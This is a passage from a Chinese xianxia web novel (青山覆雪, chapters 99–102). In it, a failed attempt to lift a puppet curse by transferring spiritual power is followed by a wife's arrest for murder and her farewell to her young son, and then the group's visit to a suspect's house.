门打开,发出“吱呀”的声响,院子里静悄悄的空无一人,许是时常有人过来打扫的缘故,看上去倒也干净。 由于乔诀是几人中落单的那个,所以今晚便由他同孙时权住一屋。 “这屋里只有一张床啊,洵儿,你找孙时权再多要两床被褥来。天气冷,地上凉,你晚上睡觉多铺两层,别冻着了昂。”瑶卿坐在床上对江洵说道。 江洵这凳子还没坐热呢,只好点头应下,起身出门找孙时权去了。 他这边走,瑶卿那边就将纸条又拿了出来,仔仔细细地打量着。 按理说,以江挽的性子,不会在这种紧要关头写这种帮不上忙的话,除非,另有深意。 可如果她另有深意,那就不会再多给护心丹了。 难不成是自己多想了?还是说这是江挽给的双重保险? 灵力...... 等等!!! 这也没说一定要用自己的灵力啊! 由她帮着江洵冲开也是一样的啊! 啧啧啧……没办法,人长得好看就算了,修为高也就算了,怎么脑子还那么聪明呢!! 瑶卿再次被自己优秀到了,笑的一脸得意。 等江洵抱着两床厚被褥回房的时候,瑶卿赶忙把他拽到床上,让他坐好别动。 江洵一脸懵的看着瑶卿,“你要做什么?” “嘛呢?” 同样抱着被子的傅霖站在房门口,脸上有些惊讶的看着房内的二人。 他们三阁关系好到这地步了?睡一张床? 瑶卿瞅了眼门口站着的人,“呦,傅霖,快帮姐姐关下门。” 傅霖:????? 瑶卿没再看傅霖,转头就要去碰江洵,这时候的江洵显然没有那么镇定了,下床就要走,又被瑶卿一把拽了回来,“都说了别动!” 这章没有结束,请点击下一页继续阅读!“瑶姐姐,我睡地板就可以了。” “我知道啊。” “那你这是想干嘛啊?”江洵属实没明白瑶卿此举是何意,一张脸委屈巴巴的。 瑶卿把纸条拿出来,指着上面的字,凝重地同江洵分析道:“你看看这句,是不是在暗示我可以给你输送点灵力?这样一来,你不就可以轻而易举地破解掉身上的咒术了。” 傅霖闻言,略感兴趣地走了进来。 他曾经是听说过这么个法子,但放眼整个江湖,借用此法成功之人,可谓是……寥寥无几。 “要不要试试?”瑶卿一脸兴奋的问道。 此举若是成功了,以后可有的她吹! 小小傀儡术,根本不在话下! 江洵觉得此招不可行,而且他觉得师父也不是那个意思。 “不是,我觉得......” “你觉得不重要,乖乖地听姐姐话坐好!可以吗?” 江洵只好闭上了嘴,点头应下了。 瑶卿深深地吸了一口气,然后又缓缓吐出,努力让自己的呼吸平稳下来。她轻抬玉手,将掌心贴在了江洵的背上。集中精神,调动起体内的灵气,并引导它们转化为灵力。 当一切准备就绪之后,瑶卿开始慢慢地、一点一点地将灵力推送进江洵的体内。 她心中所想的是要循序渐进,不能操之过急,先传送一小部分灵力过去,等待江洵的身体慢慢适应之后,再逐步增加传输的力度。 然而,事情的发展却完全出乎了瑶卿的意料。 就在她刚刚开始传输灵力不久,江洵的体内突然间爆发出了一股强大的引力。这股引力来得如此迅猛,以至于瑶卿根本来不及做出任何反应。 眨眼之间,那引力便如同一个贪婪的巨兽一般,疯狂地吞噬着瑶卿体内灵力,而且速度越来越快,仿佛不会得到满足一般。 瑶卿从来没有遭遇过这样诡异的情况,顿时慌了神。她心急如焚地想要立刻中断灵力的传输,但却发现,自己已经失去了对灵力的控制权。 在这千钧一发之际,瑶卿急忙扭头喊站在一旁的傅霖帮忙。 傅霖见状,脸色瞬间变得凝重,他知道在借灵的过程中,如果有外力强行打断,不仅会给瑶卿带来反噬,更会让作为灵力接收方的江洵遭受重创。 可情况危急,容不得他有半分犹豫。 说时迟那时快,傅霖身形一闪,迅速来到瑶卿身边,双手结印,以自身的力量来抗衡二者的灵力。 三股力量不断拉扯着,最终以傅霖的强行抽离而结束。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第100章 当下 “你怎么回事儿?” 瑶卿猛地站起身来,可又因为起身的速度太快,供血不足差点没晕过去,被站在一旁地傅霖眼疾手快的扶着了。 “姐姐,静气凝神。”傅霖看着瑶卿坐稳当以后,才转身去看江洵的情况。 这人一天下来,本就被体内的傀儡术折腾的没有什么精神气儿,如今又平白挨这儿一下,简直可以用四个字来形容——雪上加霜。 “我师父......”江洵说话的嗓子有些沙哑,咳嗽了一声以后,继续说道:“我师父当年曾尝试过往我体内输送灵力,也是今日这般情况。所以她的意思应该不是你想的那样......” “我的好弟弟,你怎么不早说!!!”瑶卿目光微微一凝,随即咬牙切齿地说道。 “你也没给他机会说啊。”傅霖作为见证人,很理所应当的站起来为江洵说一句公道话。 瑶卿闻言,让自己冷静下来,又回想了一下方才说过的话,好像是这么个事儿,她确实没有好好听江洵把话说完。 可她事先又不知道江洵体质特殊!!!她之前也没遇见过这样的情况啊。 “不是,我有嘴,左右不过一句话的事儿。是我自己给忘了,不能怪罪瑶姐。”江洵抬起头来,认真地说道。 只见那少年的眼眸之中,满满的都是愧疚之色,丝毫看不到半分责怪与不满之意,就好像真正做错事的那个人确实是他一般。 瑶卿见到此情此景,心中不禁有些过意不去起来。人家都把台阶给送到自己脚边来了,如果还不知道顺着下,那就显得自己太不懂事了。 于是乎,她也赶忙跟着解释道:“其实吧,也是我太过心急了些,事先都没有询问一下你的意见。”说话间,还有些不好意思地嘟哝着小嘴。 默默看着眼前二人相互致歉、没完没了的傅霖终于看不下去了,忍不住插嘴说道:“行了行了,别争了,我的错。” 听到这话,瑶卿却是立马追问道:“哦?既然如此,那你好好跟我们讲讲看,你错在哪儿了?” 嗯????? “倘若没找到丝线,那就得杀掉下术之人。可若那个人是胡世宣,又由谁来动手?”傅霖收起了脸上的笑意,严肃的问道。 斩断丝线,听上去很容易,可就是因为看不见摸不着,所以才容易中招。 所以,与其费那个心思去找线在哪儿,不如直接杀了背后操纵之人。 可这一切如果真是胡世宣的手笔,那么他在这场棋局里,既是下棋之人,又是被害之人。 江洵在动手前是否能不动恻隐之心? “不是他。”江洵说话的声音有气无力的。 “什么?”瑶卿有些不明白,眼下所有的线索都指向了胡世宣,不是他还能有谁? “也许布局之人是他,想要复仇之人也是他,但我身上的傀儡术,不是他下的。或者说,线的另一端并不在他的手中。”江洵解释道。 胡世宣虽然已经浮出水面,暴露在了众人眼前。但其身后,必然还隐匿着一双不为人知的手。 而那双看不见的手,才是引发这一连串事件的根源所在,同时也可能是数年前委托孙时权定制木偶的幕后之人。 但即便如此,如果到时候真的要杀了胡世宣,江洵才能活的话,待到关键时刻,他也绝不会心慈手软。 胡世宣固然值得同情,但致使其变得如此可怜之人并非江洵。 因此,江洵绝不会也不应该替胡世宣的行为负责,更不可能因他那曲折坎坷的身世而有所退让。 既然是他率先挑起事端,主动招惹了江洵,那么江洵予以回击便是理所当然之事,这其中不存在任何不妥之处。 至于鹿死谁手,那就看各自的造化。 “难道你还有其他怀疑对象?”傅霖刹那间便洞悉了江洵心中所想。 “有,但目前还无法完全确定。”江洵微微颔首,神色有些凝重。 江洵还不敢笃定心中的那个猜想,毕竟连他自己都觉得不可思议。 “话说,你还不回屋睡觉么?”瑶卿打了个哈欠,歪头看着仍在这屋里待着的傅霖。 她这话也提醒了此刻还坐在床上的另一人,江洵赶忙麻溜儿的下了床,去收拾自己的地铺。 只是他那身体,眼下走几步都费劲,更甭提收拾床铺了。 “我来吧。”傅霖没有立即回应瑶卿的那句话,而是先帮江洵把被褥铺好。 瑶卿看着眼前主动忙活的人,微眯着双眼,笑的一脸狡黠,“傅霖,你为什么对我们洵儿那么好?” “因为我知道,你们三阁对我师父也很好。”他是这么回的。 明明瑶卿问的是江洵。 他回的确是三阁。 答案已经很明显了,不是出于个人情感,而是出于人情世故。 他这句话说完,整个屋子就安静了下来,只有整理床铺的声音,等他帮江洵收拾好以后才拿上自己的东西走了出去。 瑶卿边走边同傅霖说话,让他多注意着点晚上的动静,尤其是乔诀和孙时权那屋。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!等看着那人回屋了以后,瑶卿才关上党门。 她怎会不知江洵的心思,怎么说这孩子也跟她朝夕相处了两年之多。 “傅霖他......他不属于献岁阁,他总归是要离开的。但是江洵,你不一样,你会一直待在献岁,从你选择跟着我们回来的那一刻起,你就没有别的路可走了。” 阁里的事儿她心里门清儿,包括江挽当时为何要带江洵回来她也能猜得出一二。 可她不想把话说的太直白,她自己的日子都过得一团糟,又何谈去插手别人的人生。 “我知道。”江洵穿着衣服躺了下去,背对着瑶卿说道。 “不,你不知道。你不知道你正在走的是一条什么样的路,你不知道你以后会面对什么样的人,你更不知道你究竟站在棋局上的哪个位置。” “江洵,献岁不是你想的那么好,三阁......也给不了你想要的温暖。” “你非要叫醒我吗?”江洵猛的用被子蒙住了头。 “困了?那睡吧。” 瑶卿挥了挥手,房间里的蜡烛便灭了。 她知道方才说的已经够多了,若是再说下去,怕是要被江挽逐出师门了。 目前的她,还不想离开献岁,也不想离开三阁。 她只是先跟江洵透个底儿,等他以后真面对这些的时候,心里也能有个数。 但她忘了自己在这个年纪的时候,也是一腔热血,也是不问归路。 也许大家最终都会变成那个麻木不仁的大人,可这江湖永远有着意气风发、满眼赤诚的少年人。 固然不谙世事,却又格外真诚。 房间暗了下来,只有月光洒进来的片片光辉。耳畔能听到的除了自己的呼吸声,还有窗外呼啸而过的寒风。 江洵并没有睡去,他甚至毫无困意。 什么叫他没有别的路可走?什么叫他不知道自己在棋局上的哪个位置? 他若只是颗棋子的话,那执棋之人又是谁? 棋盘在哪? 赌注是什么? 可思前想后,这些都不过是以后要发生事儿了,他连眼下傀儡术的事儿都没理清楚。 过好当下,才能看见未来。 是的,没错! 江洵就这么安慰着自己,想着想着便睡了过去。 等一觉睡醒的时候,天都亮了。 本以为昨天晚上还会发生点什么,可不知是他睡得太沉,还是怎得,愣是没有听到一丁点儿奇怪的动静。 “醒啦?”瑶卿不知在哪拿了个苹果,正站在窗户旁啃着呢。 “昨晚可有发生什么事儿?”江洵揉了揉眼睛,然后又看了眼手上的痕迹。 比起昨天来,消退了不少,起码那可怕的淤青都没了,只剩下不起眼的红痕。 “没,我方才还问了乔诀,他那屋没啥问题,孙时权眼下正用早饭呢。”瑶卿伸了个懒腰。 他们都默契的没有去提昨天晚上的话题,好似那场谈话没有发生过一般。 江洵其实是个很会自我调节情绪的人,因为在他眼里只有两件事:现在发生的事儿和即将发生的事儿。 至于以后可能会发生的事儿,那不在他的考虑范围之内。 以后的事儿要留给以后的江洵去想。 就像他小时候觉得能吃上一顿饱饭就是天大的事儿,可对现在的他来说,这只是再寻常不过的小事儿。 所以江洵只需要将自己照顾好,完完整整、大大方方的去成为以后的自己。 说不定他如今觉得麻烦的事儿,到那时也都迎刃而解了呢。 而且这是最好的办法,因为谁也不知道明天和意外哪一个会先来临。 有可能他压根儿就活不到那个时候呢? 那又何必,让一件不知道什么时候会发生的事儿,以及不知道会不会发生的事儿来浪费和占用现在的时间呢? 所以,不想了。 过一天赚一天,赚一天是一天。 至于旁的,去他的吧。 昨夜,孙时权一直处于极度紧张的状态之中,怎么都无法入睡,他担忧着那人会随时会找上门来取他的命。 两只眼睛瞪得浑圆,死死地盯着房门口以及两侧的窗户,不敢有丝毫松懈。 哪怕只是轻微的风声吹动或是草木晃动所发出的细微声响,都会令他神经紧绷,迅速从床上弹起,前去查看一番。 如此反复折腾,就连同屋的乔诀都被他搅扰得不得安宁,心中暗自恼怒不已,真想狠狠地给孙时权来上一拳,让他能乖乖躺在床上安静一会儿。 随着时间流逝,孙时权终究还是抵不过倦意的侵袭,沉重的眼皮像是被铅块压住一样,不停地往下耷拉。 最终,实在是困到了极致,双眼缓缓合拢,进入了梦乡。 而就在孙时权熟睡之后,乔诀小心翼翼地起了身。他轻手轻脚地走到床边,从怀中掏出几张事先准备好的驱邪符纸。 随后仔细地将它们分别贴在了房间的各个角落,尤其是房门和窗户周围,希望能借此阻挡那令人防不胜防的丝线,也算是能拖延一些时间。 这章没有结束,请点击下一页继续阅读!做完这一切后,乔诀才重新回到床上躺下,闭上双眼假寐起来。 说来也怪,这一夜居然出乎意料地平静无事。没有出现任何异常的动静,像极了暴风雨来临之前的宁静。 清晨时分,阳光透过窗户洒进屋内,只见傅霖慢悠悠地走了过来。 他双手抱胸,斜倚在门框之上,微笑着向屋里问道:“哟,吃着呢?” 孙时权闻声抬起头来,应道:“你们的那份早餐,我让人给你们搁在窗户边儿了。” 他悠悠转醒之后,就吩咐手下之人去买了几份早点,由于不知道这几位的口味,便都多买了几份。 “看着了。” 傅霖回完这句,不经意间转过头,正好瞧见江洵站在窗户边伸手拿早点。 两人的目光在空中交汇了一瞬间,但随即又迅速移开,仿佛彼此都是透明人一样,谁也没有开口主动打招呼。 待众人用过早饭后,才开始商议接下来的行程安排。 他们决定先陪同孙时权回孙府一趟,然后再去找胡世宣询问相关事宜,一致认为要赶在戌时之前将所有的事情全部解决。 如果一切顺利的话,说不定还有时间能安安心心地坐下来观赏一场傀儡戏。 对于孙时权来说,此次回家最主要的目的便是向赵紫芮询问有关孟春之事。 他迫切想要弄清楚这几年里,赵紫芮究竟背着自己都干了哪些见不得人的勾当! 当他满心怒火地推开房门时,却发现赵紫芮正悠然自得地坐在桌前翻看着一本书籍,脸上丝毫不见担忧之色。 孙时权见状,心中的火气瞬间升腾到了顶点。老子在外东躲西藏、提心吊胆,你倒好,在家中这般逍遥快活。 而且他整整一夜未归,赵紫芮居然连一丝一毫的担心都没有表现出来! 赵紫芮静静地看着孙时权走了进来,脸上没有一丝波澜,甚至连往日里那种阿谀奉承、谄媚讨好的神情都消失得无影无踪。 她心里跟明镜儿似的,清楚地知道此时此刻孙时权回到这里,肯定是要来找自己兴师问罪的。 孙时权怒目圆睁,刚一进门还来不及开口质问,扬起手便想要狠狠地给赵紫芮一个巴掌。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第101章 念善 就在这千钧一发之际,一只强而有力的手突然紧紧抓住了孙时权挥起的手臂。 “做什么?”江洵面无表情地问道。 “这个贱女人杀了孟春!难道我还不能动手教训一下她吗?”孙时权气急败坏地吼道,额头上青筋暴起。 “不能。”他的眼底闪过一丝嫌弃。 一旁的瑶卿忍不住朝着孙时权翻了个大大的白眼,嘲讽地说:“人都已经死了,你现在又是哭的哪门子坟?” 赵紫芮确实杀了人,但也轮不到孙时权这样对她随意打骂。 更何况,衙门的人此时已经在赶来的路上,到底应该如何判刑定罪,一切自有公断。 想当初,孟春还活着的时候,孙时权对其不闻不问,甚至死了还嫌她丢人现眼。 如今得知人不是自杀,却又跑过来假惺惺地装出一副深情款款的样子,真是让人觉得可笑至极。 难道之前下令将孟春的尸体抛弃到荒郊野外的那个人,不是他孙时权吗? 实际上,他之所以如此恼怒,压根儿就不是由于赵紫芮杀害了孟春这件事本身。 真正令他怒火中烧的原因在于,她在行凶之前竟然未曾向他透露半点风声,甚至一直当着他的面佯装出一副温柔可人、贤妻良母的姿态来。 这种被蒙在鼓里的感觉深深地刺痛了他那强烈的自尊心,才令他恼羞成怒起来。 江洵松开了紧握着孙时权胳膊的手,并顺势用力一推,直接把孙时权搡到了旁边的一张椅子跟前。 乔诀站立在一侧,面色冷峻地开口说道:“我们之所以答应让你返回府邸,只是认为你理应回来瞧上一眼。可倘若你胆敢妄图耍弄些什么见不得人的小手段,那么抱歉,我们可不会陪着你继续胡闹!” 傅霖默默地凝视着眼前一唱一和的两个人,真没想到啊,二三阁从何时开始变得这般关系默契了? 就在孙时权刚刚落座不久之后,孙玉珍便领着孙玉州一路小跑了过来。原本心情就已经烦躁不堪的孙时权,这会儿瞧见孙玉州那副模样,心头的烦闷更是陡然增添了几分。 起初,他偶尔听闻一些旁人的风言风语之时,他并未将其放在心上,反而认定那些人纯粹是出于对自己的嫉妒,才会如此搬弄是非。 可自从得知赵紫芮杀人的事情以后,他如今再看孙玉州的容貌,突然发觉旁人说的也并非是捕风捉影。 孙玉州的确与他毫无相似之处,不论是精致的五官轮廓,还是那白皙的肤色,两人甚至连性格都没有丝毫的共同点。 再仔细打量下来,孙玉州竟有几分神似早已离世的胡伯驹。若不是胡伯驹已然故去多年,他几乎会怀疑赵紫芮与胡伯驹背着他有什么见不得人的关系。 孙时权凝视着眼前正轻柔地为孙玉州暖着手的赵紫芮,心中五味杂陈。 他对赵紫芮确是真心喜爱,并一直都对她言听计从,恨不得将世间所有美好的东西都捧到她跟前儿。 “我只想知道一件事,当初你选择嫁于我,可曾出于真心?”这话语出口后,连他自己都感到一丝忐忑不安。 赵紫芮听闻此言,先是微微一愣,随即便忍不住轻笑出声。 她觉得这话实在荒谬至极! 这个踏着别人尸体一步步往上爬的人,这个对自家夫人不闻不问、漠不关心的人,竟然还妄图奢求他人的真心? 简直是痴人说梦! 想到此处,赵紫芮不禁心生鄙夷。 他问这句话的时候,又可曾想过孟春一丝一毫? 那个同样倾心于孙时权却被抛弃的女子,她的一片真心又该由谁来珍视和回应? 虽说赵紫芮本人是看不惯孟春那与世无争的性子,因为那说白了就是无能!但同为女子,她又怎会不知孟春的无奈。 “夫君,难道你还天真地认为,妾身之所以嫁于你,是因为对你心怀爱意吗?” 赵紫芮嘴角轻扬,发出一阵嘲讽的笑声,继续说道:“你若依旧是刚来招寿村那个德行,你觉得我会看你一眼吗?你凭什么认为你配得上我?” 赵紫芮生得那叫一个闭月羞花、沉鱼落雁,是这方圆几十里内出了名的大美人儿。 每日前来她家提亲的人络绎不绝,简直快要把她家的门槛都给踏平了。 可即便众多青年才俊对赵紫芮倾心不已,但她最终还是选择嫁给了孙时权。 其中固然有一些别的因素存在,但不可否认的是,孙时权的财力也是吸引她的重要原因之一。 当孙时权听到赵紫芮说出这番话后,他不禁紧皱起眉头,满脸怒容地质问道:“难道在你眼中,我竟如此的不堪?我真没想到你会是如此浅薄庸俗之人!” 赵紫芮听闻此言,当即仰头大笑起来,笑声中充满了不屑:“哈哈哈哈哈,我庸俗???我的好夫君啊,你扪心自问一下,当初你之所以看上我,难道不是因为我这副姣好的容貌能够为你挣足面子吗?” “如若不然,还能有什么其他理由?倘若我生得如同孟春那般相貌平平,恐怕你连正眼都不会瞧我一下吧。既如此,你又凭什么来指责我呢?” 本小章还未完,请点击下一页继续阅读后面精彩内容!孙时权被赵紫芮这一番犀利的言辞怼得哑口无言,只觉气血上涌,脑袋嗡嗡作响,眼前一阵发黑,险些就要昏厥过去。 站在一旁的孙玉州见爹爹脸色不好,心急万分,连忙快步走上前去想要搀扶住他。 怎料孙时权此时正在气头上,挥手便将孙玉州狠狠推搡在地,并怒吼道:“你给我滚远一点!” 孙玉州从未经历过如此粗暴的对待,他瞪大了眼睛,十分委屈地望着孙玉州。 明明以前爹爹最疼他了,可如今却避他如蛇蝎。 而另一边,孙玉珍静静地站在那里,冷眼看着这场争吵。 她没有丝毫想要劝解的意思,甚至当看到孙玉州被推倒在地时,嘴角还微微上扬,流露出一丝得意之色。 孙玉珍昨天就偷听到了赵紫芮与人密谋杀害了她母亲的事情,今天又听到赵紫芮对父亲根本就没有真心实意,就算那孙玉州都不是她的亲弟弟。 孙玉珍深知自己也并非什么好人,她同样没有资格去指责别人的过错。毕竟,每个人都有着自己不可见人的阴暗面,这个家也早就腐烂不堪了。 想到这里,孙玉珍不禁叹了口气,心中暗自惋惜:只可惜我那苦命的娘亲,再也无法亲眼目睹这出闹剧咯。 瑶卿一把将哭泣不止的孙玉州紧紧地抱在了怀里,她满脸心疼地看着怀中的孩子,眼神中既有对孙玉州的怜惜,又有对孙时权的不满。 就在此时,孙时权突然怒目圆睁,冲着赵紫芮大声吼道:“这个孩子……赵紫芮!!!这孩子到底是你跟哪个野男人生的??” 孙时权猛的站起身来,一脸愤恨地往赵紫芮那儿走去,却又被乔诀上前给拽了回去。 “谈话可以,动手不行。”乔诀淡淡地说道。 “总之不是跟你生的,你就带着这个疑问一直到死吧!!哈哈哈哈哈哈哈哈。” 赵紫芮那张原本娇艳动人的脸蛋儿,此时因为肆无忌惮的大笑而变得愈发狰狞可怖。 有人笑得前仰后合,仿佛眼前发生的一切不过是一场滑稽戏;有人哭得肝肠寸断,悲痛欲绝;有人在悔恨交加,自责不已;还有人则面无表情,麻木不仁地观望着这场闹剧,宛如置身事外一般。 孙时权挣扎着想要逃脱乔诀施加于自己身上的束缚,然而无论他如何挣扎扭动,却都动弹不得半分。 他忽然瞥见了站在一旁的孙玉珍——那个他平日里一直有意无意忽略的女儿。 此刻的她正用冷漠的眼神死死地盯着他,似乎也在无声地嘲笑他的无能为力和狼狈不堪。 终于,随着一阵急促的脚步声传来,衙门的官差们匆匆赶到现场。 这场混乱的闹剧至此总算迎来了尾声,赵紫芮在衙役们的押解下,缓缓离去。 孙玉州见母亲要被带走,心急如焚,他一边扯着嗓子苦苦哀求那些官差不要将他娘带走,一边奋力向前扑去,试图抓住母亲的衣角。 可是,他终究只是一个年仅五岁的孩子,他那微弱的呼喊声被周围嘈杂的人声所淹没,他那滚滚而下的泪水也无人在意。 没有人停下脚步来倾听稚童内心深处的痛苦与不舍。 乔诀见状,轻轻抱起孙玉州,稳步走到那几位衙役面前,语气诚恳地请求他们稍等片刻,让这对母子好好道别一番。 由于知晓乔诀等人的身份背景,那几个衙役彼此对视一眼之后,便心领神会地点点头,十分识趣儿地退到一旁等待着。 “阿娘犯了错,所以要被带走关起来,等阿娘......等阿娘赎罪了,再回来看你。”赵紫芮温柔的擦掉儿子脸上的泪珠,笑着对孙玉州说道。 “我不要,我就要阿娘,我替阿娘赎罪……我替阿娘赎罪。”孙玉州哭肿了眼睛,也哭哑了嗓子。 赵紫芮看到孩子这个样子,再也忍不住的落下泪来,她边笑边哭的摇着头。 “州州,阿娘教过你的,要一人做事一人当,万没有替罪这个道理。但是,如果我们州州多做善事的话,那阿娘的罪或许就会多赎一分。” “只要你一直念善,那我们便能早日相见。那么,州州愿意答应阿娘吗?” 赵紫芮不奢求自己有生的机会,她也不会逃避责任。但是她的州州才五岁,未来还有很长很长的路要走。 如果成长的路上带着恨,那就像是在走一条独木桥,既黑暗又孤单。 可如果是带着善意出发,那则是在走一条阳光大道,即光明又温暖。 “我答应你,我什么都答应你。可是我要是想阿娘了怎么办?”孙玉州抽泣着问道。 “想我的话,就抬头看星星。当天空中出现第一颗星星的时候,就是我也想州州的时候。”赵紫芮亲了亲孙玉州的额头,这一别怕是此生都再也见不到了。 “好,好,我每天都会抬头看的......阿娘也要每天都早点出现。” “好,我们拉钩。” “拉钩上吊,一百年不许变,谁变谁是......”孙玉州说着说着就沉默了,过了一会才抬头继续说道:“我变我是王八蛋。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“那阿娘呢?” “阿娘变了也是阿娘。” 赵紫芮走了,孙玉州跟在后面,边哭边喊:“星星什么时候出来呀?天怎么还不黑呀!阿娘你说话呀……我是王八蛋......” 可他那两条小腿儿怎么跑的过囚车,没多久,就跟不上了。 瑶卿红着眼,将他给抱了回来。 其实赵紫芮有一件事做的很对,就是没有把孙玉州养成一个冷漠的人,就连在最后她都在竭力教导孙玉州去成为一个有善心的人。 可是孩子一路上的成长,离开了父母的陪伴,又怎会不孤单? 想着想着,她就看了一眼身后的江洵。 这孩子从小到大,也是自己一条路走到黑的吧。 江洵注意到了瑶卿的目光,有些不解地看了回去。 “怎么了?” “就突然觉得你也挺不容易的。”瑶卿一脸心疼的地说道。 “哈???”他有什么不容易的? “没什么,姐姐就是突然感慨。” “我不是五六岁的孩子了,我已经不需要了。” 江洵明白了瑶卿那略带同情的眼神是什么意思,也明白了她说的不容易是指什么不容易。 但就像他说的那样,他已经不是一个需要爹娘陪在身侧的孩子了。 他已经比很多人要幸运了。 起码如今看来,这日子过得还算不错。 起码在他看来,他是愿意长睡不醒的。 “姐姐错了,姐姐以后不跟你说那些话了。”瑶卿抱着孩子走到江洵面前,认真的说道。 一个在黑暗里待久了的人,也会渴望阳光,哪怕你告诉他那只是一盏烛光也没关系。 对他来说,光就是光,他看到了,也感受到了。 江洵看到瑶卿这抱歉的眼神,顿时有些想笑,“姐姐没有错,我也没有错,只是我们看待问题的方式不同罢了,或许......等我长到姐姐那个年纪的时候,也会更清醒一些吧。” “我们洵儿不用长大!!!一直这样就很好!!!”瑶卿说着就要伸出左手去抱江洵。 “瑶姐,这儿还有外人在呢。”江洵嘴上虽然这么说,但却没有躲开。 乔诀站一旁听到他俩的谈话,接了句:“那需要我把外人请出去吗?” 瑶卿松开江洵以后,笑着回道:“不用麻烦,你自己出去就行了。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第102章 反噬 “那个......这个孩子你们打算怎么办?”许廷宽看着孙玉州问道。 孙玉珍还好说,已经年十六了,有照顾自己的能力。 可孙玉州,若是把他留在孙府,以他姐姐的性子,未必能容得下他。 至于孙时权,他可能都活不过今天的,那孙玉州到时候就真成了没人要的孩子。 其实将他放在钟其盛家里养着也不是不可以,那老两口儿确实是个值得托付的好人家,钟潼也一定会是一位好哥哥。 但问题在于,他日后若是在招寿村长大,每每路过孙府的时候,会不会触景生情,想起来这几日经历过的糟心事儿? 更不用说,以后说不定还要忍受邻里之间的闲言碎语了。 “带回去。”乔诀说道。 “呦,这话说得,敢情带回你们二阁养着啊?”瑶卿一副看热闹不嫌事儿大的样子。 二阁整日里勾心斗角的,跟个大染缸似的,这孩子要是进去了,那等以后长大了也是一朵黑心白莲花,那还念个什么善啊。 乔诀又看了眼许廷宽他们,傅霖见状冷哼一声,立马说道:“别打我们一阁的主意,温如玉现在不收徒弟。” “你怎么知道他不收?” 傅霖眼眸一暗,冷冷道:“因为我、不、允、许。” 乔诀无奈地叹了口气,又瞥了眼瑶卿,示意她快别看热闹了。 “其实我们阁收不收弟子,主要得看江挽的意思。”瑶卿笑着说道。 三阁近几年很少收弟子,一只手都数得过来,而江洵就是那最后一个,所以他现在还是三阁里年纪最小的弟子。 林静姿在的时候虽然三阁人数也少,但还也不至于那么少。 老阁主好几次想往三阁塞几个弟子过去,都被江挽明里暗里的拒绝了。 一是不需要,二是没必要。 三阁固然人少,但都是知根知底的,是能放心地将自己的背后交给对方的。 江洵也是用了很久的时间才跟他们磨合到一起,光是那个后院的门他都用了两年的时间才踏进去。 不过也正因如此,三阁勉强称得上是献岁山上唯一的一块净土吧。 你瞅瞅那一阁的温如玉,三天两头跑过去蹭饭吃,再瞅瞅主阁的云蘅,放着亲哥的二阁不去,一天天的净跟三阁的人走得近。 再看看方知许,一个不爱跟人打交道的闲人,当初却也愿意收了三阁的江洵当他学生。 你若是让他去教二阁的徐松昊,那他铁定是不愿意的。 “这样吧,如果三阁主不同意,我再把他带回二阁,或者安置在主阁。”乔诀思考了一番,叹了口气说道。 “你们......不应该先询问一下孙玉州本人的意见吗?”江洵说道。 他们几人倒是商量的有来有往的,却没人去问一句孙玉州,究竟愿不愿意跟他们回献岁。 傅霖听他这么一说,顿时笑了出来。 孙玉州瞪着大眼睛听的云里雾里,可也能听得出他们是在讨论自己。 “嗐!回来再说吧,先去找胡世宣。”瑶卿说道。 但在走之前,江洵还是让孙时权将前几日那人寄给他的书信找来,主要是想要看一下那位顾客所定制的木偶长什么模样。 当图纸缓缓展开后,画上的内容就一一呈现在视线里。 他所要求的傀儡高度约莫三尺,画上的容貌能看出是一位妙龄女子。 而江洵一眼就认出了所画之人是谁——迎姗。 许是他的反应有些大,瑶卿问道:“你认识?” “嗯,我本以为她死了。” “任务里的?” “嗯。” 乔诀听到后,第一反应不是质疑为何死去的人还活着,而是感慨:“嘶——你这儿......看来这傀儡术也不是随意下的。” 明摆着是冲着江洵来的。 几个人经过一番商量后,最终决定先把孙玉州送到钟其盛家里去,请他帮忙照看一段时间。 看到钟潼小心翼翼地牵着孙玉州走进屋子之后,其他人才放心地转身朝着胡世宣的家走去。 走在最前面带路的正是孙时权,所谓冤有头债有主,像去找胡世宣这样重要的事情,又怎能少得了他呢? 此时街道上人来人往十分热闹,道路两边摆满了各式各样出售木偶的小摊儿,吸引着不少外地游客驻足欣赏。 这时,瑶卿突然压低声音向身旁的江洵问道:“你昨天拿到的那个木偶有没有带在身上?” 江洵微微颔首,表示带在了身上。 他知道,瑶卿所问的木偶是指昨天从孙府里拿出来的那一个。 根据目前所掌握的线索来看,木偶极有可能困住的是孟春的怨念。 倘若最终没有找到迎姗也无法将胡世宣置于死地的话,那么毁掉这只木偶或许也有一线生机。 因此江洵没有丢弃掉,还特意将它收进了自己随身携带的乾坤袖之中。 胡家的位置同傀儡戏表演的戏台并不远,甚至距离他们前天晚上住的那个院子也都有些近。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!几人站在胡家院门口,谁也没有上前敲门,都在等着对方主动。 可他们委实高估了彼此的积极性,孙时权站在一旁愣是没敢说一句话。 他甚至都在寻思这几人是不是心里都憋着什么大事儿呢,怎么都走到门口了却又没有一点儿动作了? 最后还是年纪最小的许廷宽妥协了,抬手叩响了门环。 只是门内并没有传来胡世宣的声音,连脚步声都没有,许廷宽耐着性子再次叩响了门环,依旧是没有人回应。 “别是不在家吧。”孙时权咂舌道。 可门锁并没有从外面锁上,说明主人家并没有出门。 乔诀烦躁的“啧”了一声,然后让许廷宽后退,二话不说就一脚踹开了那扇木门。 院子里空荡荡的,显得格外冷清,仿佛被时间遗忘在了角落。 枯黄的树叶散落一地,像是无人问津的孤儿,堆积得越来越厚,却始终不见有人来清扫。 风一吹过,落叶便沙沙作响,更增添了几分破败的气息。 这景象与孙时权记忆中的胡家简直判若云泥。 曾经的胡家总是被打理得一尘不染,每一个角落都散发着整洁与舒适的味道。 所有物品都摆放得井然有序,无论是家具还是日常用品,都能找到它们固定的位置。 即便是在时间紧迫、忙碌于赶工的时候,院子里的木材和工具也都会被胡伯驹精心收拾妥当,绝不会有丝毫杂乱无章之感。 然而此刻的胡家,哪里还寻得到往日那温馨和睦的模样?有的只是无尽的冷清与寂寥。 昔日充满欢声笑语的庭院,如今只剩下一片死寂。 几个人不慌不忙地朝着院子深处走去,脚步声在寂静中回荡。 终于,当他们来到堂屋门口时,一阵断断续续的咳嗽声传入耳中。 